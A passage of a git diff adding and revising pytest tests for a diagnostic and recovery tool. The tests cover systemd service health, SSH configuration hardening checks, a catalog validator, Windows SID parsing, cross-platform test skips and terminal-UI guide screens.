fix.actions) + assert "disable" in text + assert "cannot be examined" in text diff --git a/tests/test_module_linux_service_health.py b/tests/test_module_linux_service_health.py new file mode 100644 index 0000000..0a611b6 --- /dev/null +++ b/tests/test_module_linux_service_health.py @@ -0,0 +1,132 @@ +"""Tests for linux_service_health.""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_service_health") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Fedora 40", + os_version="6.9.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=4, + ram_bytes=8 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), returncode=returncode, stdout=stdout, stderr="", + timed_out=False, error=error, duration_s=0.01, truncated=False, + ) + + +def _systemctl(mod, failed="", running="", restarts=0, time_active=True, available=True): + def fake(args, **kwargs): + if not available: + return _result(args, error="No such file or directory") + if args[1] == "list-units" and "--failed" in args: + return _result(args, failed) + if args[1] == "list-units": + return _result(args, running) + if args[1] == "is-active": + unit = args[2] + if unit.startswith(("systemd-timesyncd", "chronyd", "ntpd", "ntpsec")): + return _result(args, "active" if time_active else "inactive") + return _result(args, "active") + if args[1] == "show": + return _result(args, f"NRestarts={restarts}") + return _result(args, "") + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + assert _get_module().check(_profile(Platform.WIN32)).supported is False + + +def test_missing_systemctl_is_unsupported_not_healthy(): + """A non-systemd distribution gets an honest 'cannot check', not a pass.""" + mod = _get_module() + with _systemctl(mod, available=False): + result = mod.check(_profile()) + assert result.supported is False + assert "systemd" in result.unsupported_reason + + +def test_healthy_system_produces_no_findings(): + mod = _get_module() + with _systemctl(mod): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_failed_unit_is_reported(): + mod = _get_module() + failed = "cups.service loaded failed failed CUPS Scheduler\n" + with _systemctl(mod, failed=failed): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("failed_unit")) + assert finding.data["unit"] == "cups.service" + assert finding.severity is Severity.WARNING + + +def test_failed_backup_unit_is_escalated_to_critical(): + """A silently dead backup is the finding whose cost arrives months later.""" + mod = _get_module() + failed = "restic-backup.service loaded failed failed Restic backup\n" + with _systemctl(mod, failed=failed): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("failed_backup_unit")) + assert finding.severity is Severity.CRITICAL + + +def test_restart_loop_is_reported(): + mod = _get_module() + running = "flaky.service loaded active running Flaky thing\n" + with _systemctl(mod, running=running, restarts=27): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("restart_loop")) + assert finding.data["restarts"] == 27 + + +def test_occasional_restarts_are_not_a_loop(): + mod = _get_module() + running = "normal.service loaded active running Normal thing\n" + with _systemctl(mod, running=running, restarts=1): + result = mod.check(_profile()) + assert "integrity.linux_service_health.restart_loop" not in _codes(result) + + +def test_missing_time_sync_is_reported(): + mod = _get_module() + with _systemctl(mod, time_active=False): + result = mod.check(_profile()) + assert "integrity.linux_service_health.time_sync_inactive" in _codes(result) + + +def test_fix_is_guidance_only(): + mod = _get_module() + with _systemctl(mod, failed="cups.service loaded failed failed CUPS\n"): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.actions + assert fix.executed_mutations == [] diff --git a/tests/test_module_linux_ssh_hardening.py b/tests/test_module_linux_ssh_hardening.py new file mode 100644 index 0000000..fe2054a --- /dev/null +++ b/tests/test_module_linux_ssh_hardening.py @@ -0,0 +1,151 @@ +"""Tests for linux_ssh_hardening. + +Two properties matter: the severity of a permissive setting depends on whether +sshd is actually running, and a machine with no SSH server at all produces no +findings rather than a pile of them. +""" + +import sys +from pathlib import Path +from unittest.mock import patch + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.command import CommandResult +from rescue.models import Mode, Platform, Severity, SystemProfile +from rescue.registry import discover_modules + + +def _get_module(): + modules = discover_modules(Path(__file__).parent.parent / "modules") + return next(m for m in modules if m.name == "linux_ssh_hardening") + + +def _profile(platform=Platform.LINUX) -> SystemProfile: + return SystemProfile( + platform=platform, + os_name="Debian 12", + os_version="6.1.0", + architecture="x86_64", + cpu_model="Test", + cpu_cores=2, + ram_bytes=4 * 1024**3, + ) + + +def _result(args, stdout="", returncode=0, error=None) -> CommandResult: + return CommandResult( + args=list(args), + returncode=returncode, + stdout=stdout, + stderr="", + timed_out=False, + error=error, + duration_s=0.01, + truncated=False, + ) + + +def _patched(mod, sshd_t=None, running=False): + def fake(args, **kwargs): + if args[0] == "sshd" and sshd_t is not None: + return _result(args, sshd_t) + if args[0] == "systemctl": + return _result(args, "active" if running else "inactive") + return _result(args, error="No such file or directory") + + return patch.object(sys.modules[type(mod).__module__], "run", side_effect=fake) + + +def _codes(result): + return [f.code for f in result.findings] + + +def test_non_linux_is_unsupported(): + result = _get_module().check(_profile(Platform.WIN32)) + assert result.supported is False + + +def test_no_sshd_config_means_no_findings(tmp_path): + """No SSH server installed is not a hardening problem.""" + mod = _get_module() + mod.sshd_config_path = str(tmp_path / "absent") + with _patched(mod): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_root_login_yes_while_running_is_critical(): + mod = _get_module() + config = "permitrootlogin yes\npasswordauthentication no\npermitemptypasswords no\n" + with _patched(mod, sshd_t=config, running=True): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("root_login_permitted")) + assert finding.severity is Severity.CRITICAL + + +def test_root_login_yes_while_stopped_is_only_a_warning(): + """Exposure changes severity: a stopped server is latent, not open.""" + mod = _get_module() + config = "permitrootlogin yes\npasswordauthentication no\npermitemptypasswords no\n" + with _patched(mod, sshd_t=config, running=False): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("root_login_permitted")) + assert finding.severity is Severity.WARNING + + +def test_key_only_root_login_is_informational(): + mod = _get_module() + config = "permitrootlogin prohibit-password\npasswordauthentication no\n" + with _patched(mod, sshd_t=config, running=True): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("root_login_permitted")) + assert finding.severity is Severity.INFO + + +def test_password_authentication_is_flagged(): + mod = _get_module() + with _patched(mod, sshd_t="passwordauthentication yes\n", running=True): + result = mod.check(_profile()) + assert "security.linux_ssh_hardening.password_auth_enabled" in _codes(result) + + +def test_empty_passwords_are_critical_regardless_of_state(): + mod = _get_module() + with _patched(mod, sshd_t="permitemptypasswords yes\n", running=False): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("empty_passwords_permitted")) + assert finding.severity is Severity.CRITICAL + + +def test_hardened_config_produces_no_findings(): + mod = _get_module() + config = ( + "permitrootlogin no\npasswordauthentication no\n" + "kbdinteractiveauthentication no\npermitemptypasswords no\n" + "listenaddress 192.168.1.10\n" + ) + with _patched(mod, sshd_t=config, running=True): + result = mod.check(_profile()) + assert not result.has_issues + + +def test_falls_back_to_the_config_file_with_lower_confidence(tmp_path): + mod = _get_module() + config_file = tmp_path / "sshd_config" + config_file.write_text("# comment\nPermitRootLogin yes\n") + mod.sshd_config_path = str(config_file) + with _patched(mod, sshd_t=None, running=True): + result = mod.check(_profile()) + finding = next(f for f in result.findings if f.code.endswith("root_login_permitted")) + assert finding.confidence is not None and finding.confidence < 0.95 + assert finding.data["source"] == str(config_file) + + +def test_fix_is_guidance_only_and_warns_about_lockout(): + mod = _get_module() + with _patched(mod, sshd_t="permitrootlogin yes\npasswordauthentication yes\n", running=True): + check = mod.check(_profile()) + fix = mod.fix(check, Mode.CLI) + assert fix.executed_mutations == [] + assert any("lock" in a.description.lower() for a in fix.actions) diff --git a/tests/test_module_malware_scan_indicators.py b/tests/test_module_malware_scan_indicators.py index c0fc8a3..e1319fa 100644 --- a/tests/test_module_malware_scan_indicators.py +++ b/tests/test_module_malware_scan_indicators.py @@ -1,9 +1,20 @@ +import os +import pytest import sys from pathlib import Path from unittest.mock import patch, MagicMock, Mock sys.path.insert(0, str(Path(__file__).parent.parent)) +# Skipped off POSIX: malware_scan_indicators is macOS-only; these fixtures are POSIX daemon paths. +# The module under test cannot run on Windows, so there is nothing here a +# Windows job could meaningfully exercise — and a test that fails for the +# platform rather than for the code teaches people to ignore the suite. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="malware_scan_indicators is macOS-only; these fixtures are POSIX daemon paths", +) + from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode from rescue.registry import discover_modules diff --git a/tests/test_module_network_diagnostics.py b/tests/test_module_network_diagnostics.py index 466f7e6..37400ed 100644 --- a/tests/test_module_network_diagnostics.py +++ b/tests/test_module_network_diagnostics.py @@ -357,4 +357,6 @@ def side_effect(cmd, *args, **kwargs): if __name__ == "__main__": + import pytest + pytest.main([__file__, "-v"]) diff --git a/tests/test_module_screen_time_parental.py b/tests/test_module_screen_time_parental.py index 43ec1fe..940540a 100644 --- a/tests/test_module_screen_time_parental.py +++ b/tests/test_module_screen_time_parental.py @@ -308,7 +308,7 @@ def test_fix_provides_guidance(): assert len(passcode_actions) > 0 # Actions should be informational (success=True, no actual system changes) for action in fix.actions: - assert action.success == True + assert action.success is True def test_fix_for_no_passcode(): diff --git a/tests/test_module_temp_file_scanner.py b/tests/test_module_temp_file_scanner.py index 6e5c2b8..85508d4 100644 --- a/tests/test_module_temp_file_scanner.py +++ b/tests/test_module_temp_file_scanner.py @@ -1,3 +1,4 @@ +import pytest import sys import os from pathlib import Path @@ -7,6 +8,15 @@ # Add project root so modules/ is importable via discover_modules sys.path.insert(0, str(Path(__file__).parent.parent)) +# Skipped off POSIX: temp_file_scanner's fixtures are POSIX temp paths (/tmp, /var/folders). +# The module under test cannot run on Windows, so there is nothing here a +# Windows job could meaningfully exercise — and a test that fails for the +# platform rather than for the code teaches people to ignore the suite. +pytestmark = pytest.mark.skipif( + os.name != "posix", + reason="temp_file_scanner's fixtures are POSIX temp paths (/tmp, /var/folders)", +) + from rescue.models import ( SystemProfile, Platform, diff --git a/tests/test_module_win_bsod_analysis.py b/tests/test_module_win_bsod_analysis.py index 3b8a48f..421d0fa 100644 --- a/tests/test_module_win_bsod_analysis.py +++ b/tests/test_module_win_bsod_analysis.py @@ -105,9 +105,15 @@ def test_win_bsod_analysis_recent_24h(): def test_win_bsod_analysis_recurring_7d(): """Test when multiple BSODs in last 7 days (WARNING).""" mod = _get_module() - # Create two events in the last 7 days + # Two events inside 7 days and clearly outside 24 hours. `days_ago=1` put + # the first event exactly on the 24-hour boundary: the fixture computes + # now-24h, the module computes now-24h a moment later, and the comparison + # is `>=`. On Linux the two `now`s differ by microseconds and the event + # falls outside; on Windows, whose clock granularity is ~15ms, they can be + # the same tick, the event counts as "within 24 hours", the CRITICAL branch + # wins, and this WARNING is never emitted. Two days removes the ambiguity. events = [ - _make_bsod_event(days_ago=1, stop_code="0x0000007F"), + _make_bsod_event(days_ago=2, stop_code="0x0000007F"), _make_bsod_event(days_ago=5, stop_code="0x0000007E"), ] fake_run = _make_run_result(bsod_events=events, minidump_exists=True) diff --git a/tests/test_module_win_user_profiles.py b/tests/test_module_win_user_profiles.py index ff80705..7a41530 100644 --- a/tests/test_module_win_user_profiles.py +++ b/tests/test_module_win_user_profiles.py @@ -320,3 +320,47 @@ def test_fix_with_all_finding_types(module): fix_result = module.fix(check_result, Mode.MANUAL) assert len(fix_result.actions) == 5 assert all(a.success for a in fix_result.actions) + + +def test_sid_objects_from_powershell_are_normalised_to_strings(): + """Regression: this crashed the check on every real Windows machine. + + `Get-LocalUser | Select-Object SID | ConvertTo-Json` serialises the SID as + a nested object, not the "S-1-5-21-…" string. Putting that straight into a + set raised `TypeError: unhashable type: 'dict'`, so the whole check + reported "unavailable" — on Windows, for a Windows-only module. The suite + had never run on Windows, so nothing caught it. + """ + from modules.performance.win_user_profiles import _sid_string + + assert _sid_string("S-1-5-21-1") == "S-1-5-21-1" + assert _sid_string({"BinaryLength": 28, "Value": "S-1-5-21-2"}) == "S-1-5-21-2" + assert _sid_string({"BinaryLength": 28}) == "" + assert _sid_string(None) == "" + assert _sid_string(1234) == "" + + +def test_user_accounts_handles_object_shaped_sids(module): + payload = json.dumps([ + {"SID": {"BinaryLength": 28, "Value": "S-1-5-21-100"}}, + {"SID": "S-1-5-21-200"}, + {"SID": {"BinaryLength": 28}}, + ]) + completed = MagicMock(returncode=0, stdout=payload) + with patch("subprocess.run", return_value=completed): + assert module._get_user_accounts() == {"S-1-5-21-100", "S-1-5-21-200"} + + +def test_user_accounts_handles_a_single_user(module): + """PowerShell emits an object, not a list, when there is exactly one user.""" + payload = json.dumps({"SID": {"Value": "S-1-5-21-solo"}}) + completed = MagicMock(returncode=0, stdout=payload) + with patch("subprocess.run", return_value=completed): + assert module._get_user_accounts() == {"S-1-5-21-solo"} + + +def test_user_accounts_survives_unexpected_json(module): + """A check must degrade to "no accounts known", never raise.""" + completed = MagicMock(returncode=0, stdout='"just a string"') + with patch("subprocess.run", return_value=completed): + assert module._get_user_accounts() == set() diff --git a/tests/test_module_win_windows_update_status.py b/tests/test_module_win_windows_update_status.py index 01a1d8b..3391ff1 100644 --- a/tests/test_module_win_windows_update_status.py +++ b/tests/test_module_win_windows_update_status.py @@ -76,8 +76,15 @@ def _sc_query_service_disabled(): def _ps_last_update_recent(): - """PowerShell Get-HotFix output: recent update.""" - return "7/5/2026 10:30:00 AM" + """PowerShell Get-HotFix output: recent update. + + Computed relative to now, like the stale/old fixtures below. This was + previously a hardcoded date that was recent when it was written; real time + moved past it and the fixture aged into a "no updates in 31 days" warning, + failing three tests on nothing but the calendar. + """ + recent_date = datetime.now() - timedelta(days=2) + return recent_date.strftime("%m/%d/%Y %I:%M:%S %p") def _ps_last_update_old(): diff --git a/tests/test_module_win_winsock_check.py b/tests/test_module_win_winsock_check.py index 2a5b9be..6f0548e 100644 --- a/tests/test_module_win_winsock_check.py +++ b/tests/test_module_win_winsock_check.py @@ -66,7 +66,7 @@ def test_excessive_winsock_entries(self, module, sample_profile): """Test detection of excessive Winsock catalog entries.""" winsock_output = "\n".join([f" Entry {i}: Transport: TEST" for i in range(1, 36)]) - tcpip_output = """ + tcpip_output = r""" HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters DefaultTTL REG_DWORD 0x40 """ diff --git a/tests/test_threat_map_validation.py b/tests/test_threat_map_validation.py index bf8bbf5..5956181 100644 --- a/tests/test_threat_map_validation.py +++ b/tests/test_threat_map_validation.py @@ -27,6 +27,8 @@ def test_shipped_threat_map_is_valid(): def test_generated_doc_matches_map(): profiles, all_codes, all_modules = _ctx() threats = load_threat_map(_project_root() / "docs" / "threat_remediation_map.yaml") - committed = (_project_root() / "docs" / "THREAT_REMEDIATION.md").read_text() + committed = (_project_root() / "docs" / "THREAT_REMEDIATION.md").read_text( + encoding="utf-8" + ) assert committed == render_threat_markdown(threats, profiles), ( "docs/THREAT_REMEDIATION.md is out of date — run `rescue threat-remediation`") diff --git a/tests/test_validate.py b/tests/test_validate.py new file mode 100644 index 0000000..cb80f00 --- /dev/null +++ b/tests/test_validate.py @@ -0,0 +1,245 @@ +"""Tests for the catalog validator (roadmap P1#3). + +The validator is a safety gate, so the tests care about two things: that it +catches the inconsistencies it exists to catch, and that it never raises on +malformed input — a validator that crashes on a broken catalog tells the user +nothing about what is broken. +""" + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import CheckResult, FixResult, Mode, Platform, RiskLevel, SystemProfile +from rescue.module_base import ModuleBase +from rescue.validate import ( + Severity, + validate_catalog, + validate_guides, + validate_modules, + validate_profiles, +) + +REPO_ROOT = Path(__file__).parent.parent + + +class _Stub(ModuleBase): + """A minimal, well-formed module used as the baseline for each case.""" + + name = "stub" + category = "performance" + platforms = [Platform.LINUX] + estimated_duration = "1s" + + def check(self, profile: SystemProfile) -> CheckResult: + return CheckResult(module_name=self.name) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + return FixResult(module_name=self.name) + + +def _module(name: str, **attrs) -> ModuleBase: + namespace = {"name": name, **attrs} + return type(f"Module_{name}", (_Stub,), namespace)() + + +def _messages(problems, severity=None): + return [ + p.message + for p in problems + if severity is None or p.severity is severity + ] + + +def test_duplicate_module_names_are_an_error(): + problems = validate_modules([_module("dupe"), _module("dupe")]) + assert any("must be unique" in m for m in _messages(problems, Severity.ERROR)) + + +def test_missing_dependency_is_an_error(): + problems = validate_modules([_module("a", depends_on=["nope"])]) + assert any("which no module provides" in m for m in _messages(problems, Severity.ERROR)) + + +def test_satisfied_dependency_is_not_an_error(): + problems = validate_modules([_module("a", depends_on=["b"]), _module("b")]) + assert not [p for p in problems if p.severity is Severity.ERROR] + + +def test_dependency_cycle_is_reported_once(): + modules = [ + _module("a", depends_on=["b"]), + _module("b", depends_on=["c"]), + _module("c", depends_on=["a"]), + ] + cycles = [p for p in validate_modules(modules) if "dependency cycle" in p.message] + # Reachable from three entry points, but it is one cycle and should be + # reported as one problem. + assert len(cycles) == 1 + assert "a -> b -> c -> a" in cycles[0].message + + +def test_self_dependency_is_an_error(): + problems = validate_modules([_module("a", depends_on=["a"])]) + assert any("depends on itself" in m for m in _messages(problems, Severity.ERROR)) + + +def test_module_with_no_platforms_is_an_error(): + problems = validate_modules([_module("a", platforms=[])]) + assert any("declares no platforms" in m for m in _messages(problems, Severity.ERROR)) + + +def test_auto_apply_on_a_non_safe_module_is_an_error(): + """Unattended mutation is the one thing that must never be misdeclared.""" + problems = validate_modules( + [_module("a", auto_apply=True, risk_level=RiskLevel.DESTRUCTIVE)] + ) + assert any("unattended mutation" in m for m in _messages(problems, Severity.ERROR)) + + +def test_auto_apply_on_a_safe_module_is_allowed(): + problems = validate_modules([_module("a", auto_apply=True, risk_level=RiskLevel.SAFE)]) + assert not [p for p in problems if p.severity is Severity.ERROR] + + +def test_out_of_range_priority_is_an_error(): + problems = validate_modules([_module("a", priority=500)]) + assert any("outside 0-100" in m for m in _messages(problems, Severity.ERROR)) + + +def test_unknown_duration_is_a_warning_not_an_error(): + problems = validate_modules([_module("a", estimated_duration="unknown")]) + assert any("estimated_duration" in m for m in _messages(problems, Severity.WARNING)) + assert not [p for p in problems if p.severity is Severity.ERROR] + + +def test_profile_referencing_a_missing_module_is_an_error(tmp_path): + profiles = tmp_path / "profiles" + profiles.mkdir() + (profiles / "p.yaml").write_text( + "name: p\ndescription: test\nmodules:\n include:\n - ghost\n" + ) + problems = validate_profiles(profiles, [_module("real")], tmp_path / "guides") + assert any("does not exist" in m for m in _messages(problems, Severity.ERROR)) + + +def test_profile_selecting_nothing_is_an_error(tmp_path): + """A profile that runs no modules looks like it works and does nothing.""" + profiles = tmp_path / "profiles" + profiles.mkdir() + (profiles / "p.yaml").write_text( + "name: p\ndescription: test\nmodules:\n include:\n - real\n exclude:\n - real\n" + ) + problems = validate_profiles(profiles, [_module("real")], tmp_path / "guides") + assert any("selects no modules" in m for m in _messages(problems, Severity.ERROR)) + + +def test_malformed_profile_yaml_does_not_raise(tmp_path): + profiles = tmp_path / "profiles" + profiles.mkdir() + (profiles / "broken.yaml").write_text("name: [unclosed\n") + problems = validate_profiles(profiles, [], tmp_path / "guides") + assert any(p.severity is Severity.ERROR for p in problems) + + +def test_guide_marking_a_nonexistent_step_automatable_is_an_error(tmp_path): + guides = tmp_path / "guides" / "demo" + guides.mkdir(parents=True) + (guides / "phase_0.md").write_text( + "---\nprofile: demo\nphase: 0\ntitle: Demo\nautomatable_steps: [1, 9]\n---\n\n" + "## Step 1: Real step\n\nBody.\n" + ) + problems = validate_guides(tmp_path / "guides", [_module("a")]) + assert any("no such step exists" in m for m in _messages(problems, Severity.ERROR)) + + +def test_walkthrough_with_an_unknown_code_is_a_warning(tmp_path): + remediation = tmp_path / "guides" / "remediation" + remediation.mkdir(parents=True) + (remediation / "w.md").write_text( + "---\ntitle: Do the thing\nremediates:\n - security.nothing.emits_this\n---\n\n" + "## Step 1: Act\n\nBody.\n" + ) + problems = validate_guides(tmp_path / "guides", [_module("a")]) + assert any("no module declares in emits_codes" in m for m in _messages(problems, Severity.WARNING)) + + +def test_empty_registry_is_an_error(tmp_path): + """Discovering nothing is the signature of a packaging failure (P0#1).""" + report = validate_catalog(tmp_path / "modules", tmp_path / "profiles", tmp_path / "guides") + assert not report.ok() + assert any("missing its content" in p.message for p in report.errors) + + +def test_the_shipped_catalog_is_consistent(): + """The real catalog must validate clean. This is the CI gate.""" + report = validate_catalog( + modules_dir=REPO_ROOT / "modules", + profiles_dir=REPO_ROOT / "profiles", + guides_dir=REPO_ROOT / "guides", + ) + assert report.module_count > 0 + assert report.errors == [], "\n".join(p.format() for p in report.errors) + + +def _undocumented(name: str) -> ModuleBase: + """A module with neither a class docstring nor a documented source file. + + `__module__` matters: a real shipped module's prose usually lives in the + file-level docstring of its `__init__.py`, so the validator looks there as + well as at the class. Pointing it at a name that is not in sys.modules is + how a test double gets to be genuinely undocumented. + """ + return type(f"Module_{name}", (_Stub,), {"name": name, "__module__": "not_a_real_module"})() + + +def test_undocumented_modules_produce_one_warning_not_hundreds(): + """A per-module warning would bury the actionable problems in a backlog.""" + modules = [_undocumented(f"m{i}") for i in range(10)] + warnings = [ + p for p in validate_modules(modules) + if p.severity is Severity.WARNING and "docstring" in p.message + ] + assert len(warnings) == 1 + assert "10 of 10 modules" in warnings[0].message + + +def test_documented_modules_produce_no_documentation_warning(): + class _Documented(_Stub): + """This module explains itself.""" + + name = "documented" + + problems = validate_modules([_Documented()]) + assert not [p for p in problems if "docstring" in p.message] + + +def test_the_shipped_catalog_has_no_errors_only_the_documentation_backlog(): + """`rescue validate` (no --strict) is the CI gate, so it must exit clean.""" + report = validate_catalog( + modules_dir=REPO_ROOT / "modules", + profiles_dir=REPO_ROOT / "profiles", + guides_dir=REPO_ROOT / "guides", + ) + assert report.ok(strict=False), "\n".join(p.format() for p in report.errors) + + +def test_documentation_check_does_not_credit_nonetype_for_a_missing_module(): + """Regression: `getattr(None, "__doc__", "")` is not the default on 3.13. + + It returns NoneType's own docstring — empty on 3.11 and 3.12, and "The type + of the None singleton." on 3.13. Written the obvious way, a module whose + containing module is not in sys.modules counted as documented on one Python + version and not the others. + """ + from rescue.validate import _has_documentation + + assert not _has_documentation(_undocumented("ghost")) + + +def test_documentation_check_does_not_inherit_credit_from_a_base_class(): + """_Stub has a docstring; a subclass without one is still undocumented.""" + from rescue.validate import _has_documentation + + assert not _has_documentation(_undocumented("child")) diff --git a/tests/tui/test_app.py b/tests/tui/test_app.py index 7200c51..dea2650 100644 --- a/tests/tui/test_app.py +++ b/tests/tui/test_app.py @@ -36,6 +36,21 @@ def _profile(used_pct: float) -> SystemProfile: ) +async def _wait_for_screen(pilot, app, screen_type, attempts=100): + """Pause until `app.screen` is `screen_type`, or give up after `attempts`. + + A single `pilot.pause()` assumes the screen push completes within one + message-pump cycle. It does on a fast Linux runner; on a loaded Windows + runner it does not, and the test failed on the transition rather than on + anything the code did wrong. This is the bounded-wait shape the test + already used for the loading and fix-result screens, applied throughout. + """ + for _ in range(attempts): + if isinstance(app.screen, screen_type): + return + await pilot.pause(0.05) + + async def test_full_flow_category_to_fix_result(): """End-to-end: loading -> categories -> modules -> findings -> fix -> result -> back to categories, using the real disk_space module shipped @@ -50,10 +65,7 @@ async def test_full_flow_category_to_fix_result(): patch("rescue.orchestrator.discover_modules", return_value=[disk_space_module]): app = RescueApp(modules_dir=modules_dir) async with app.run_test() as pilot: - for _ in range(100): - await pilot.pause(0.05) - if isinstance(app.screen, CategoryMenuScreen): - break + await _wait_for_screen(pilot, app, CategoryMenuScreen) assert isinstance(app.screen, CategoryMenuScreen) category_list = app.screen.query_one("#category-list", OptionList) @@ -64,23 +76,20 @@ async def test_full_flow_category_to_fix_result(): ) category_list.highlighted = performance_index category_list.action_select() - await pilot.pause() + await _wait_for_screen(pilot, app, ModuleListScreen) assert isinstance(app.screen, ModuleListScreen) module_list = app.screen.query_one("#module-list", OptionList) assert module_list.get_option_at_index(0).id == "disk_space" module_list.action_select() - await pilot.pause() + await _wait_for_screen(pilot, app, FindingsScreen) assert isinstance(app.screen, FindingsScreen) await pilot.click("#apply-fixes") - for _ in range(100): - await pilot.pause(0.05) - if isinstance(app.screen, FixResultScreen): - break + await _wait_for_screen(pilot, app, FixResultScreen) assert isinstance(app.screen, FixResultScreen) assert app.screen.fix.all_succeeded await pilot.click("#back-to-categories") - await pilot.pause() + await _wait_for_screen(pilot, app, CategoryMenuScreen) assert isinstance(app.screen, CategoryMenuScreen) diff --git a/tests/tui/test_app_guides_binding.py b/tests/tui/test_app_guides_binding.py new file mode 100644 index 0000000..20aa468 --- /dev/null +++ b/tests/tui/test_app_guides_binding.py @@ -0,0 +1,90 @@ +"""The `g` binding must reach the guides from anywhere in the app. + +Someone opens this tool after being hacked. The recovery walkthrough is the +part they need first, and it must not be behind a completed scan — so the +binding is tested while the loading screen is still up. + +The orchestrator is stubbed out in every test here. Without that, constructing +a RescueApp starts a real scan of the real module tree: on Linux only a handful +of modules match the platform and it is cheap, but on Windows the loading +screen fires roughly a hundred checks that shell out to powershell, manage-bde, +driverquery and tasklist. The tests still pass, and then the job spends sixteen +minutes reaping orphaned processes and printing "Module check timed out". Tests +that reach real system state are exactly the environment coupling this suite +has been bitten by before. +""" + +from pathlib import Path +from unittest.mock import patch + +import pytest + +from rescue.models import Platform, SystemProfile +from rescue.tui.app import RescueApp +from rescue.tui.screens.guide import GuideSetsScreen + +REPO_ROOT = Path(__file__).parent.parent.parent + + +def _profile() -> SystemProfile: + return SystemProfile( + platform=Platform.DARWIN, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +@pytest.fixture +def no_real_scan(): + """Keep the loading screen's orchestrator from touching the host.""" + with patch("rescue.orchestrator.gather_profile", return_value=_profile()), \ + patch("rescue.orchestrator.discover_modules", return_value=[]): + yield + + +async def _open_guides(app, pilot, attempts=100): + """Press `g` and wait for the guides screen, rather than assuming one tick.""" + await pilot.press("g") + for _ in range(attempts): + if isinstance(app.screen, GuideSetsScreen): + return + await pilot.pause(0.05) + + +async def test_g_opens_the_guides_from_the_loading_screen(tmp_path, no_real_scan): + app = RescueApp( + modules_dir=REPO_ROOT / "modules", + guides_dir=REPO_ROOT / "guides", + session_dir=tmp_path / "sessions", + ) + async with app.run_test() as pilot: + await pilot.pause() + await _open_guides(app, pilot) + assert isinstance(app.screen, GuideSetsScreen) + + +async def test_shipped_guide_sets_are_discovered(tmp_path, no_real_scan): + """The real guides/ directory must produce real walkthroughs, not an empty menu.""" + app = RescueApp( + modules_dir=REPO_ROOT / "modules", + guides_dir=REPO_ROOT / "guides", + session_dir=tmp_path / "sessions", + ) + async with app.run_test() as pilot: + await pilot.pause() + await _open_guides(app, pilot) + names = [name for name, _ in app.screen.sets] + assert "digital_security_reset" in names + assert "remediation" not in names + + +async def test_missing_guide_content_notifies_instead_of_crashing(tmp_path, no_real_scan): + app = RescueApp(modules_dir=REPO_ROOT / "modules", session_dir=tmp_path / "sessions") + async with app.run_test() as pilot: + await pilot.pause() + await _open_guides(app, pilot, attempts=10) + assert not isinstance(app.screen, GuideSetsScreen) diff --git a/tests/tui/test_guide_placeholder_screen.py b/tests/tui/test_guide_placeholder_screen.py deleted file mode 100644 index 7431b0c..0000000 --- a/tests/tui/test_guide_placeholder_screen.py +++ /dev/null @@ -1,37 +0,0 @@ -from textual.app import App -from textual.widgets import Checkbox, Static - -from rescue.models import Platform -from rescue.module_base import ModuleBase -from rescue.tui.screens.guide_placeholder import GuidePlaceholderScreen - - -class FakeMod(ModuleBase): - name = "disk_space" - category = "performance" - platforms = [Platform.DARWIN] - - def check(self, profile): - pass - - def fix(self, findings, mode): - pass - - -class GuideHostApp(App): - def on_mount(self) -> None: - self.push_screen(GuidePlaceholderScreen(FakeMod())) - - -async def test_guide_placeholder_shows_disabled_checklist(): - app = GuideHostApp() - async with app.run_test() as pilot: - await pilot.pause() - checkboxes = list(app.screen.query(Checkbox)) - assert len(checkboxes) == 3 - for cb in checkboxes: - assert cb.disabled - - message = app.screen.query_one("#guide-placeholder-message", Static) - assert "disk_space" in str(message.content) - assert "Plan 3" in str(message.content) diff --git a/tests/tui/test_guide_screens.py b/tests/tui/test_guide_screens.py new file mode 100644 index 0000000..4d7f016 --- /dev/null +++ b/tests/tui/test_guide_screens.py @@ -0,0 +1,231 @@ +"""Tests for the TUI guide flow that replaced the Plan-3 placeholder. + +The behaviour that matters is persistence: a checklist someone works through +during a compromise recovery has to survive closing the app, has to agree with +what `rescue guide ` shows, and has to allow un-ticking a step that +turned out not to have worked. +""" + +from pathlib import Path + +from textual.app import App +from textual.widgets import Checkbox, Markdown, OptionList + +from rescue.guides import discover_guides, parse_guide_markdown +from rescue.session import SessionStore +from rescue.tui.screens.guide import ( + GuidePhasesScreen, + GuideSetsScreen, + GuideStepDetailScreen, + GuideStepsScreen, + discover_guide_sets, +) + +PHASE_0 = """--- +profile: demo_recovery +phase: 0 +title: "Stabilise" +estimated_time: "20 minutes" +automatable_steps: [1] +human_only_steps: [2] +--- + +## Step 1: Run the device checks + +Run the read-only scan and read what it found. + +## Step 2: Change your email password + +Do this from a device you trust. Nothing on this machine can do it for you. +""" + +PHASE_1 = """--- +profile: demo_recovery +phase: 1 +title: "Rebuild" +estimated_time: "1 hour" +automatable_steps: 